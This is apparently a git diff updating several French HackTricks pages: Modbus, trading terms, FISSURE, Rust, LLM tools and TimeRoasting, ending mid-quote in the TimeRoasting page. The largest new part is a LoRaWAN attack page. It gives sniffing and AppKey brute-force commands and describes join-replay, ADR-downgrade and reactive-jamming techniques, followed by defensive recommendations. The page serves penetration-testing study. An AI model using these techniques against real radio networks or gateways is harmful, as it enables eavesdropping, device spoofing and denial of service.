|
||||
|
||||
## L'architecture Client-Serveur
|
||||
|
||||
Le protocole Modbus est généralement utilisé dans une architecture Client-Serveur où un dispositif maître (client) initie la communication avec un ou plusieurs dispositifs esclaves (serveurs). Cela est également appelé architecture Maître-Esclave, qui est largement utilisée en électronique et dans l'IoT avec SPI, I2C, etc.
|
||||
Le protocole Modbus est généralement utilisé dans une architecture Client-Serveur où un dispositif maître (client) initie la communication avec un ou plusieurs dispositifs esclaves (serveurs). Cela est également appelé architecture Maître-Esclave, qui est largement utilisée en électronique et IoT avec SPI, I2C, etc.
|
||||
|
||||
## Versions Série et Ethernet
|
||||
|
||||
@ -22,7 +22,7 @@ Les données sont transmises dans le protocole Modbus sous forme ASCII ou binair
|
||||
|
||||
## Codes de fonction
|
||||
|
||||
Le protocole ModBus fonctionne avec la transmission de codes de fonction spécifiques qui sont utilisés pour faire fonctionner les PLC et divers dispositifs de contrôle. Cette partie est importante à comprendre, car des attaques par répétition peuvent être effectuées en retransmettant des codes de fonction. Les dispositifs hérités ne prennent pas en charge le chiffrement des transmissions de données et ont généralement de longs fils qui les connectent, ce qui entraîne des manipulations de ces fils et la capture/injection de données.
|
||||
Le protocole ModBus fonctionne avec la transmission de codes de fonction spécifiques qui sont utilisés pour faire fonctionner les PLC et divers dispositifs de contrôle. Cette partie est importante à comprendre, car des attaques par répétition peuvent être effectuées en retransmettant des codes de fonction. Les dispositifs hérités ne prennent en charge aucune cryptographie pour la transmission de données et ont généralement de longs fils qui les connectent, ce qui entraîne une altération de ces fils et la capture/injection de données.
|
||||
|
||||
## Adressage de Modbus
|
||||
|
||||
@ -32,4 +32,4 @@ De plus, Modbus met également en œuvre des vérifications d'erreur pour garant
|
||||
|
||||
En raison de son utilisation à grande échelle et du manque de mises à niveau, attaquer Modbus offre un avantage significatif avec sa surface d'attaque. Les ICS dépendent fortement de la communication entre les dispositifs et toute attaque contre eux peut être dangereuse pour le fonctionnement des systèmes industriels. Des attaques telles que la répétition, l'injection de données, l'écoute de données et les fuites, la déni de service, la falsification de données, etc. peuvent être menées si le moyen de transmission est identifié par l'attaquant.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Termes d'Investissement
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Spot
|
||||
|
||||
C'est le moyen le plus basique de faire du trading. Vous pouvez **indiquer le montant de l'actif et le prix** que vous souhaitez acheter ou vendre, et dès que ce prix est atteint, l'opération est effectuée.
|
||||
C'est le moyen le plus basique de faire du trading. Vous pouvez **indiquer le montant de l'actif et le prix** auquel vous souhaitez acheter ou vendre, et dès que ce prix est atteint, l'opération est effectuée.
|
||||
|
||||
En général, vous pouvez également utiliser le **prix du marché actuel** afin d'effectuer la transaction aussi rapidement que possible au prix actuel.
|
||||
|
||||
@ -20,12 +20,12 @@ Cependant, cela est intéressant par exemple pour les entreprises qui génèrent
|
||||
|
||||
Bien que dans les échanges, cela soit généralement utilisé pour essayer de réaliser un profit.
|
||||
|
||||
* Remarquez qu'une "position longue" signifie que quelqu'un parie qu'un prix va augmenter.
|
||||
* Alors qu'une "position courte" signifie que quelqu'un parie qu'un prix va baisser.
|
||||
* Remarque qu'une "position longue" signifie que quelqu'un parie qu'un prix va augmenter
|
||||
* Alors qu'une "position courte" signifie que quelqu'un parie qu'un prix va baisser
|
||||
|
||||
### Couverture avec des Futures <a href="#mntl-sc-block_7-0" id="mntl-sc-block_7-0"></a>
|
||||
|
||||
Si un gestionnaire de fonds craint que certaines actions vont baisser, il pourrait prendre une position courte sur certains actifs comme des bitcoins ou des contrats à terme S\&P 500. Cela serait similaire à acheter ou posséder des actifs et créer un contrat pour les vendre à un moment futur à un prix plus élevé.
|
||||
Si un gestionnaire de fonds craint que certaines actions vont baisser, il pourrait prendre une position courte sur certains actifs comme des bitcoins ou des contrats à terme S\&P 500. Cela serait similaire à acheter ou avoir certains actifs et créer un contrat pour les vendre à un moment futur à un prix plus élevé.
|
||||
|
||||
Dans le cas où le prix baisse, le gestionnaire de fonds gagnera des bénéfices car il vendra les actifs à un prix plus élevé. Si le prix des actifs augmente, le gestionnaire ne gagnera pas ce bénéfice mais il conservera ses actifs.
|
||||
|
||||
@ -33,7 +33,7 @@ Dans le cas où le prix baisse, le gestionnaire de fonds gagnera des bénéfices
|
||||
|
||||
**Ce sont des "futures" qui dureront indéfiniment** (sans date de contrat de fin). Il est très courant de les trouver par exemple dans les échanges de crypto où vous pouvez entrer et sortir des futures en fonction du prix des cryptos.
|
||||
|
||||
Remarquez que dans ces cas, les bénéfices et les pertes peuvent être en temps réel, si le prix augmente de 1%, vous gagnez 1%, si le prix diminue de 1%, vous le perdrez.
|
||||
Remarque qu dans ces cas, les bénéfices et les pertes peuvent être en temps réel, si le prix augmente de 1%, vous gagnez 1%, si le prix diminue de 1%, vous le perdrez.
|
||||
|
||||
### Futures avec Effet de Levier
|
||||
|
||||
@ -51,13 +51,13 @@ Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte
|
||||
|
||||
### 1. **Obligation vs. Droit :**
|
||||
|
||||
* **Futures :** Lorsque vous achetez ou vendez un contrat à terme, vous entrez dans un **accord contraignant** pour acheter ou vendre un actif à un prix spécifique à une date future. L'acheteur et le vendeur sont tous deux **obligés** de remplir le contrat à l'expiration (sauf si le contrat est clôturé avant cela).
|
||||
* **Futures :** Lorsque vous achetez ou vendez un contrat à terme, vous entrez dans un **accord contraignant** pour acheter ou vendre un actif à un prix spécifique à une date future. L'acheteur et le vendeur sont tous deux **obligés** de respecter le contrat à l'expiration (sauf si le contrat est clôturé avant cela).
|
||||
* **Options :** Avec les options, vous avez le **droit, mais pas l'obligation**, d'acheter (dans le cas d'une **option d'achat**) ou de vendre (dans le cas d'une **option de vente**) un actif à un prix spécifique avant ou à une certaine date d'expiration. L'**acheteur** a l'option d'exécuter, tandis que le **vendeur** est obligé de remplir la transaction si l'acheteur décide d'exercer l'option.
|
||||
|
||||
### 2. **Risque :**
|
||||
|
||||
* **Futures :** L'acheteur et le vendeur prennent un **risque illimité** car ils sont obligés de compléter le contrat. Le risque est la différence entre le prix convenu et le prix du marché à la date d'expiration.
|
||||
* **Options :** Le risque de l'acheteur est limité à la **prime** payée pour acheter l'option. Si le marché ne se déplace pas en faveur du titulaire de l'option, il peut simplement laisser l'option expirer. Cependant, le **vendeur** (émetteur) de l'option a un risque illimité si le marché se déplace significativement contre lui.
|
||||
* **Options :** Le risque de l'acheteur est limité à la **prime** payée pour acheter l'option. Si le marché ne bouge pas en faveur du titulaire de l'option, il peut simplement laisser l'option expirer. Cependant, le **vendeur** (émetteur) de l'option a un risque illimité si le marché évolue de manière significative contre lui.
|
||||
|
||||
### 3. **Coût :**
|
||||
|
||||
@ -67,6 +67,6 @@ Cependant, l'acheteur paiera des frais au vendeur pour ouvrir l'option (de sorte
|
||||
### 4. **Potentiel de Profit :**
|
||||
|
||||
* **Futures :** Le profit ou la perte est basé sur la différence entre le prix du marché à l'expiration et le prix convenu dans le contrat.
|
||||
* **Options :** L'acheteur profite lorsque le marché se déplace favorablement au-delà du prix d'exercice de plus que la prime payée. Le vendeur profite en conservant la prime si l'option n'est pas exercée.
|
||||
* **Options :** L'acheteur réalise un profit lorsque le marché évolue favorablement au-delà du prix d'exercice de plus que la prime payée. Le vendeur réalise un profit en conservant la prime si l'option n'est pas exercée.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,3 +1,3 @@
|
||||
# Hacking Radio
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# FISSURE - Le cadre RF
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Compréhension et ingénierie inverse des signaux SDR indépendants de la fréquence**
|
||||
|
||||
FISSURE est un cadre RF et d'ingénierie inverse open-source conçu pour tous les niveaux de compétence avec des hooks pour la détection et la classification des signaux, la découverte de protocoles, l'exécution d'attaques, la manipulation IQ, l'analyse de vulnérabilités, l'automatisation et l'IA/ML. Le cadre a été construit pour promouvoir l'intégration rapide de modules logiciels, de radios, de protocoles, de données de signaux, de scripts, de graphiques de flux, de matériel de référence et d'outils tiers. FISSURE est un facilitateur de flux de travail qui garde les logiciels en un seul endroit et permet aux équipes de se mettre rapidement à jour tout en partageant la même configuration de base éprouvée pour des distributions Linux spécifiques.
|
||||
FISSURE est un cadre RF et d'ingénierie inverse open-source conçu pour tous les niveaux de compétence avec des hooks pour la détection et la classification des signaux, la découverte de protocoles, l'exécution d'attaques, la manipulation IQ, l'analyse de vulnérabilités, l'automatisation et l'IA/ML. Le cadre a été construit pour promouvoir l'intégration rapide de modules logiciels, de radios, de protocoles, de données de signaux, de scripts, de graphes de flux, de matériel de référence et d'outils tiers. FISSURE est un facilitateur de flux de travail qui garde les logiciels en un seul endroit et permet aux équipes de se mettre rapidement à jour tout en partageant la même configuration de base éprouvée pour des distributions Linux spécifiques.
|
||||
|
||||
Le cadre et les outils inclus avec FISSURE sont conçus pour détecter la présence d'énergie RF, comprendre les caractéristiques d'un signal, collecter et analyser des échantillons, développer des techniques de transmission et/ou d'injection, et créer des charges utiles ou des messages personnalisés. FISSURE contient une bibliothèque croissante d'informations sur les protocoles et les signaux pour aider à l'identification, à la création de paquets et au fuzzing. Des capacités d'archive en ligne existent pour télécharger des fichiers de signaux et créer des listes de lecture pour simuler le trafic et tester des systèmes.
|
||||
|
||||
@ -80,7 +80,7 @@ Référez-vous au menu d'aide de FISSURE pour plus de détails sur l'utilisation
|
||||
* Hub central (HIPRFISR)
|
||||
* Identification du signal cible (TSI)
|
||||
* Découverte de protocole (PD)
|
||||
* Graphique de flux et exécuteur de script (FGE)
|
||||
* Graphique de flux & Exécuteur de script (FGE)
|
||||
|
||||
|
||||
|
||||
@ -93,7 +93,7 @@ Référez-vous au menu d'aide de FISSURE pour plus de détails sur l'utilisation
|
||||
|
||||
**Matériel**
|
||||
|
||||
Voici une liste de matériel "supporté" avec des niveaux d'intégration variés :
|
||||
La liste suivante présente le matériel "supporté" avec des niveaux d'intégration variés :
|
||||
|
||||
* USRP : X3xx, B2xx, B20xmini, USRP2, N2xx
|
||||
* HackRF
|
||||
@ -109,10 +109,10 @@ Voici une liste de matériel "supporté" avec des niveaux d'intégration variés
|
||||
FISSURE est livré avec plusieurs guides utiles pour se familiariser avec différentes technologies et techniques. Beaucoup incluent des étapes pour utiliser divers outils intégrés dans FISSURE.
|
||||
|
||||
* [Leçon1 : OpenBTS](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson1\_OpenBTS.md)
|
||||
* [Leçon2 : Dissécateurs Lua](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
* [Leçon2 : Lua Dissectors](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson2\_LuaDissectors.md)
|
||||
* [Leçon3 : Sound eXchange](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson3\_Sound\_eXchange.md)
|
||||
* [Leçon4 : Cartes ESP](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
|
||||
* [Leçon5 : Suivi de radiosondes](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
|
||||
* [Leçon4 : ESP Boards](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson4\_ESP\_Boards.md)
|
||||
* [Leçon5 : Suivi de Radiosonde](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson5\_Radiosonde\_Tracking.md)
|
||||
* [Leçon6 : RFID](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson6\_RFID.md)
|
||||
* [Leçon7 : Types de données](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson7\_Data\_Types.md)
|
||||
* [Leçon8 : Blocs GNU Radio personnalisés](https://github.com/ainfosec/FISSURE/blob/Python3\_maint-3.8/Lessons/Markdown/Lesson8\_Custom\_GNU\_Radio\_Blocks.md)
|
||||
@ -145,11 +145,11 @@ Les contributions pour améliorer FISSURE sont cruciales pour accélérer son d
|
||||
|
||||
1. Forkez le projet
|
||||
2. Créez votre branche de fonctionnalité (`git checkout -b feature/AmazingFeature`)
|
||||
3. Validez vos modifications (`git commit -m 'Ajoutez une AmazingFeature'`)
|
||||
3. Engagez vos modifications (`git commit -m 'Ajoutez une AmazingFeature'`)
|
||||
4. Poussez vers la branche (`git push origin feature/AmazingFeature`)
|
||||
5. Ouvrez une demande de tirage
|
||||
|
||||
Créer des [Issues](https://github.com/ainfosec/FISSURE/issues) pour attirer l'attention sur les bogues est également bienvenu.
|
||||
Créer des [Problèmes](https://github.com/ainfosec/FISSURE/issues) pour attirer l'attention sur les bogues est également bienvenu.
|
||||
|
||||
## Collaboration
|
||||
|
||||
@ -179,6 +179,6 @@ Nous reconnaissons et sommes reconnaissants envers ces développeurs :
|
||||
|
||||
## Remerciements
|
||||
|
||||
Remerciements spéciaux à Dr. Samuel Mantravadi et Joseph Reith pour leurs contributions à ce projet.
|
||||
Un remerciement spécial à Dr. Samuel Mantravadi et Joseph Reith pour leurs contributions à ce projet.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,16 +1,95 @@
|
||||
# Réseau à Large Bande à Faible Puissance
|
||||
# Réseau à large bande à faible consommation
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Introduction
|
||||
|
||||
**Réseau à Large Bande à Faible Puissance** (LPWAN) est un groupe de technologies de réseau sans fil, à faible puissance et à large bande, conçues pour des **communications à longue portée** à un faible débit.\
|
||||
**Réseau à large bande à faible consommation** (LPWAN) est un groupe de technologies de réseau sans fil, à faible consommation et à large bande, conçues pour des **communications à longue portée** à un faible débit binaire.
|
||||
Ils peuvent atteindre plus de **six miles** et leurs **batteries** peuvent durer jusqu'à **20 ans**.
|
||||
|
||||
Long Range (**LoRa**) est populaire dans plusieurs pays et a une spécification open source appelée **LoRaWAN**.
|
||||
Long Range (**LoRa**) est actuellement la couche physique LPWAN la plus déployée et sa spécification de couche MAC ouverte est **LoRaWAN**.
|
||||
|
||||
### LPWAN, LoRa et LoRaWAN
|
||||
---
|
||||
|
||||
[https://github.com/IOActive/laf](https://github.com/IOActive/laf)
|
||||
## LPWAN, LoRa et LoRaWAN
|
||||
|
||||
* LoRa – Chirp Spread Spectrum (CSS) couche physique développée par Semtech (propriétaire mais documentée).
|
||||
* LoRaWAN – Couche MAC/réseau ouverte maintenue par la LoRa-Alliance. Les versions 1.0.x et 1.1 sont courantes sur le terrain.
|
||||
* Architecture typique : *dispositif final → passerelle (transmetteur de paquets) → serveur de réseau → serveur d'application*.
|
||||
|
||||
> Le **modèle de sécurité** repose sur deux clés racines AES-128 (AppKey/NwkKey) qui dérivent des clés de session lors de la procédure de *jointure* (OTAA) ou sont codées en dur (ABP). Si une clé fuit, l'attaquant obtient une capacité de lecture/écriture complète sur le trafic correspondant.
|
||||
|
||||
---
|
||||
|
||||
## Résumé de la surface d'attaque
|
||||
|
||||
| Couche | Faiblesse | Impact pratique |
|
||||
|--------|-----------|-----------------|
|
||||
| PHY | Brouillage réactif / sélectif | 100 % de perte de paquets démontrée avec un seul SDR et <1 W de sortie |
|
||||
| MAC | Relecture de Join-Accept & trame de données (réutilisation de nonce, débordement de compteur ABP) | Usurpation de dispositif, injection de message, DoS |
|
||||
| Serveur de réseau | Transmetteur de paquets non sécurisé, filtres MQTT/UDP faibles, firmware de passerelle obsolète | RCE sur les passerelles → pivot vers le réseau OT/IT |
|
||||
| Application | AppKeys codées en dur ou prévisibles | Brute-force/décryptage du trafic, usurpation de capteurs |
|
||||
|
||||
---
|
||||
|
||||
## Vulnérabilités récentes (2023-2025)
|
||||
|
||||
* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* a accepté des paquets TCP qui contournaient les règles de pare-feu d'état sur les passerelles Kerlink, permettant l'exposition de l'interface de gestion à distance. Corrigé dans 4.0.11 / 4.2.1 respectivement.
|
||||
* **Série Dragino LG01/LG308** – Plusieurs CVEs 2022-2024 (par exemple, 2022-45227 traversée de répertoire, 2022-45228 CSRF) encore observées non corrigées en 2025 ; permettent un vidage de firmware non authentifié ou un écrasement de configuration sur des milliers de passerelles publiques.
|
||||
* Débordement de *packet-forwarder UDP* de Semtech (avis non publié, corrigé en 2023-10) : un uplink conçu plus grand que 255 B a déclenché un écrasement de pile ‑> RCE sur les passerelles de référence SX130x (découvert par Black Hat EU 2023 “LoRa Exploitation Reloaded”).
|
||||
|
||||
---
|
||||
|
||||
## Techniques d'attaque pratiques
|
||||
|
||||
### 1. Sniffer & Décrypter le trafic
|
||||
```bash
|
||||
# Capture all channels around 868.3 MHz with an SDR (USRP B205)
|
||||
python3 lorattack/sniffer.py \
|
||||
--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
|
||||
|
||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
```
|
||||
### 2. OTAA join-replay (réutilisation de DevNonce)
|
||||
|
||||
1. Capturez un **JoinRequest** légitime.
|
||||
2. Retransmettez-le immédiatement (ou augmentez le RSSI) avant que l'appareil d'origine ne transmette à nouveau.
|
||||
3. Le serveur de réseau attribue un nouveau DevAddr et des clés de session pendant que l'appareil cible continue avec l'ancienne session → l'attaquant possède une session vacante et peut injecter des uplinks falsifiés.
|
||||
|
||||
### 3. Downgrade du taux de données adaptatif (ADR)
|
||||
|
||||
Forcez SF12/125 kHz pour augmenter le temps d'occupation → épuiser le cycle de service de la passerelle (déni de service) tout en maintenant l'impact sur la batterie faible pour l'attaquant (envoyez simplement des commandes MAC au niveau du réseau).
|
||||
|
||||
### 4. Brouillage réactif
|
||||
|
||||
*HackRF One* exécutant un flowgraph GNU Radio déclenche un chirp large bande chaque fois qu'un préambule est détecté – bloque tous les facteurs d'étalement avec ≤200 mW TX ; panne totale mesurée à 2 km de portée.
|
||||
|
||||
---
|
||||
|
||||
## Outils offensifs (2025)
|
||||
|
||||
| Outil | Objectif | Remarques |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN Auditing Framework (LAF)** | Créer/analyser/attaquer des trames LoRaWAN, analyseurs basés sur une base de données, brute-forcer | Image Docker, prend en charge l'entrée UDP Semtech |
|
||||
| **LoRaPWN** | Utilitaire Python de Trend Micro pour brute-forcer OTAA, générer des downlinks, déchiffrer des charges utiles | Démo publiée en 2023, SDR-agnostique |
|
||||
| **LoRAttack** | Sniffer multi-canal + replay avec USRP ; exporte PCAP/LoRaTap | Bonne intégration avec Wireshark |
|
||||
| **gr-lora / gr-lorawan** | Blocs OOT GNU Radio pour TX/RX de baseband | Fondation pour des attaques personnalisées |
|
||||
|
||||
---
|
||||
|
||||
## Recommandations défensives (checklist de pentester)
|
||||
|
||||
1. Préférez les appareils **OTAA** avec un DevNonce véritablement aléatoire ; surveillez les doublons.
|
||||
2. Appliquez **LoRaWAN 1.1** : compteurs de trames de 32 bits, FNwkSIntKey / SNwkSIntKey distincts.
|
||||
3. Stockez le compteur de trames dans une mémoire non volatile (**ABP**) ou migrez vers OTAA.
|
||||
4. Déployez un **élément sécurisé** (ATECC608A/SX1262-TRX-SE) pour protéger les clés racines contre l'extraction de firmware.
|
||||
5. Désactivez les ports de transfert de paquets UDP distants (1700/1701) ou restreignez avec WireGuard/VPN.
|
||||
6. Gardez les passerelles à jour ; Kerlink/Dragino fournissent des images corrigées en 2024.
|
||||
7. Mettez en œuvre une **détection d'anomalies de trafic** (par exemple, analyseur LAF) – signalez les réinitialisations de compteurs, les joins dupliqués, les changements soudains d'ADR.
|
||||
|
||||
## Références
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Aperçu de Trend Micro LoRaPWN – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,10 +1,10 @@
|
||||
# Rust Basics
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Types génériques
|
||||
|
||||
Créez une structure où 1 de ses valeurs pourrait être de n'importe quel type
|
||||
Créez une struct où 1 de leurs valeurs pourrait être de n'importe quel type
|
||||
```rust
|
||||
struct Wrapper<T> {
|
||||
value: T,
|
||||
@ -287,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,16 +1,16 @@
|
||||
# Test LLMs
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Exécuter et entraîner des modèles localement
|
||||
|
||||
### [**Hugging Face Transformers**](https://github.com/huggingface/transformers)
|
||||
|
||||
Hugging Face Transformers est l'une des bibliothèques open-source les plus populaires pour utiliser, entraîner et déployer des LLM tels que GPT, BERT et bien d'autres. Il offre un écosystème complet qui inclut des modèles pré-entraînés, des ensembles de données et une intégration transparente avec le Hugging Face Hub pour le fine-tuning et le déploiement.
|
||||
Hugging Face Transformers est l'une des bibliothèques open-source les plus populaires pour utiliser, entraîner et déployer des LLMs tels que GPT, BERT et bien d'autres. Elle offre un écosystème complet qui inclut des modèles pré-entraînés, des ensembles de données et une intégration transparente avec le Hugging Face Hub pour le fine-tuning et le déploiement.
|
||||
|
||||
### [**LangChain**](https://github.com/langchain-ai/langchain)
|
||||
|
||||
LangChain est un cadre conçu pour construire des applications avec des LLM. Il permet aux développeurs de connecter des modèles de langage avec des sources de données externes, des API et des bases de données. LangChain fournit des outils pour l'ingénierie de prompt avancée, la gestion de l'historique des conversations et l'intégration des LLM dans des flux de travail complexes.
|
||||
LangChain est un cadre conçu pour construire des applications avec des LLMs. Il permet aux développeurs de connecter des modèles de langage avec des sources de données externes, des API et des bases de données. LangChain fournit des outils pour l'ingénierie de prompts avancée, la gestion de l'historique des conversations et l'intégration des LLMs dans des flux de travail complexes.
|
||||
|
||||
### [**LitGPT**](https://github.com/Lightning-AI/litgpt)
|
||||
|
||||
@ -19,11 +19,11 @@ LitGPT est un projet développé par Lightning AI qui exploite le cadre Lightnin
|
||||
### [**LitServe**](https://github.com/Lightning-AI/LitServe)
|
||||
|
||||
**Description :**\
|
||||
LitServe est un outil de déploiement de Lightning AI conçu pour déployer rapidement et efficacement des modèles d'IA. Il simplifie l'intégration des LLM dans des applications en temps réel en fournissant des capacités de service évolutives et optimisées.
|
||||
LitServe est un outil de déploiement de Lightning AI conçu pour déployer rapidement et efficacement des modèles d'IA. Il simplifie l'intégration des LLMs dans des applications en temps réel en fournissant des capacités de service évolutives et optimisées.
|
||||
|
||||
### [**Axolotl**](https://github.com/axolotl-ai-cloud/axolotl)
|
||||
|
||||
Axolotl est une plateforme basée sur le cloud conçue pour rationaliser le déploiement, la mise à l'échelle et la gestion des modèles d'IA, y compris les LLM. Elle offre des fonctionnalités telles que la mise à l'échelle automatisée, la surveillance et l'intégration avec divers services cloud, facilitant le déploiement de modèles dans des environnements de production sans gestion d'infrastructure extensive.
|
||||
Axolotl est une plateforme basée sur le cloud conçue pour rationaliser le déploiement, la mise à l'échelle et la gestion des modèles d'IA, y compris des LLMs. Elle offre des fonctionnalités telles que la mise à l'échelle automatisée, la surveillance et l'intégration avec divers services cloud, facilitant le déploiement de modèles dans des environnements de production sans gestion d'infrastructure extensive.
|
||||
|
||||
## Essayer des modèles en ligne
|
||||
|
||||
@ -33,15 +33,15 @@ Axolotl est une plateforme basée sur le cloud conçue pour rationaliser le dép
|
||||
Elle propose plusieurs sections comme :
|
||||
|
||||
* **Modèles** : Un vaste répertoire de **modèles d'apprentissage automatique pré-entraînés** où les utilisateurs peuvent parcourir, télécharger et intégrer des modèles pour diverses tâches comme la génération de texte, la traduction, la reconnaissance d'images, et plus encore.
|
||||
* **Ensembles de données :** Une **collection complète d'ensembles de données** utilisés pour entraîner et évaluer des modèles. Elle facilite l'accès facile à diverses sources de données, permettant aux utilisateurs de trouver et d'utiliser des données pour leurs projets d'apprentissage automatique spécifiques.
|
||||
* **Espaces :** Une plateforme pour héberger et partager des **applications et des démos d'apprentissage automatique interactives**. Elle permet aux développeurs de **présenter** leurs modèles en action, de créer des interfaces conviviales et de collaborer avec d'autres en partageant des démos en direct.
|
||||
* **Ensembles de données :** Une **collection complète d'ensembles de données** utilisés pour entraîner et évaluer des modèles. Elle facilite l'accès à diverses sources de données, permettant aux utilisateurs de trouver et d'utiliser des données pour leurs projets d'apprentissage automatique spécifiques.
|
||||
* **Espaces :** Une plateforme pour héberger et partager des **applications et démos d'apprentissage automatique interactives**. Elle permet aux développeurs de **présenter** leurs modèles en action, de créer des interfaces conviviales et de collaborer avec d'autres en partageant des démos en direct.
|
||||
|
||||
## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
|
||||
|
||||
**TensorFlow Hub** est un répertoire complet de modules d'apprentissage automatique réutilisables développés par Google. Il se concentre sur la facilitation du partage et du déploiement de modèles d'apprentissage automatique, en particulier ceux construits avec TensorFlow.
|
||||
|
||||
* **Modules :** Une vaste collection de modèles pré-entraînés et de composants de modèles où les utilisateurs peuvent parcourir, télécharger et intégrer des modules pour des tâches telles que la classification d'images, l'incorporation de texte, et plus encore.
|
||||
* **Tutoriels :** Des guides et des exemples étape par étape qui aident les utilisateurs à comprendre comment mettre en œuvre et affiner des modèles en utilisant TensorFlow Hub.
|
||||
* **Tutoriels :** Des guides et exemples étape par étape qui aident les utilisateurs à comprendre comment mettre en œuvre et affiner des modèles en utilisant TensorFlow Hub.
|
||||
* **Documentation :** Des guides complets et des références API qui aident les développeurs à utiliser efficacement les ressources du répertoire.
|
||||
|
||||
## [**Replicate**](https://replicate.com/home)
|
||||
@ -51,4 +51,4 @@ Elle propose plusieurs sections comme :
|
||||
* **Modèles :** Un répertoire de modèles d'apprentissage automatique contribué par la communauté que les utilisateurs peuvent parcourir, essayer et intégrer dans leurs applications avec un minimum d'effort.
|
||||
* **Accès API :** Des API simples pour exécuter des modèles qui permettent aux développeurs de déployer et de mettre à l'échelle des modèles sans effort au sein de leurs propres applications.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,6 +1,6 @@
|
||||
# TimeRoasting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
timeRoasting, la principale cause est le mécanisme d'authentification obsolète laissé par Microsoft dans son extension aux serveurs NTP, connu sous le nom de MS-SNTP. Dans ce mécanisme, les clients peuvent utiliser directement l'Identifiant Relatif (RID) de n'importe quel compte d'ordinateur, et le contrôleur de domaine utilisera le hachage NTLM du compte d'ordinateur (généré par MD4) comme clé pour générer le **Message Authentication Code (MAC)** du paquet de réponse.
|
||||
|
||||
@ -8,33 +8,33 @@ Les attaquants peuvent exploiter ce mécanisme pour obtenir des valeurs de hacha
|
||||
|
||||
Le mécanisme spécifique peut être consulté dans la section 3.1.5.1 "Comportement de la demande d'authentification" de la [documentation officielle de Windows pour le protocole MS-SNTP](https://winprotocoldoc.z19.web.core.windows.net/MS-SNTP/%5bMS-SNTP%5d.pdf).
|
||||
|
||||
Dans le document, la section 3.1.5.1 couvre le comportement de la demande d'authentification.
|
||||
Dans le document, la section 3.1.5.1 couvre le Comportement de la demande d'authentification.
|
||||
|
||||
On peut voir que lorsque l'élément ADM ExtendedAuthenticatorSupported est défini sur `false`, le format Markdown d'origine est conservé.
|
||||
|
||||
> Cité dans l'article original :
|
||||
>> Si l'élément ADM ExtendedAuthenticatorSupported est faux, le client DOIT construire un message de demande NTP Client. La longueur du message de demande NTP Client est de 68 octets. Le client définit le champ Authenticator du message de demande NTP Client comme décrit dans la section 2.2.1, en écrivant les 31 bits les moins significatifs de la valeur RID dans les 31 bits les moins significatifs du sous-champ Key Identifier de l'authentificateur, puis en écrivant la valeur Key Selector dans le bit le plus significatif du sous-champ Key Identifier.
|
||||
>> Si l'élément ADM ExtendedAuthenticatorSupported est faux, le client DOIT construire un message de demande NTP Client. La longueur du message de demande NTP Client est de 68 octets. Le client définit le champ Authenticator du message de demande NTP Client comme décrit dans la section 2.2.1, en écrivant les 31 bits de poids faible de la valeur RID dans les 31 bits de poids faible du sous-champ Key Identifier de l'authentificateur, puis en écrivant la valeur Key Selector dans le bit de poids fort du sous-champ Key Identifier.
|
||||
|
||||
Dans la section 4 Exemples de protocole point 3
|
||||
|
||||
> Cité dans l'article original :
|
||||
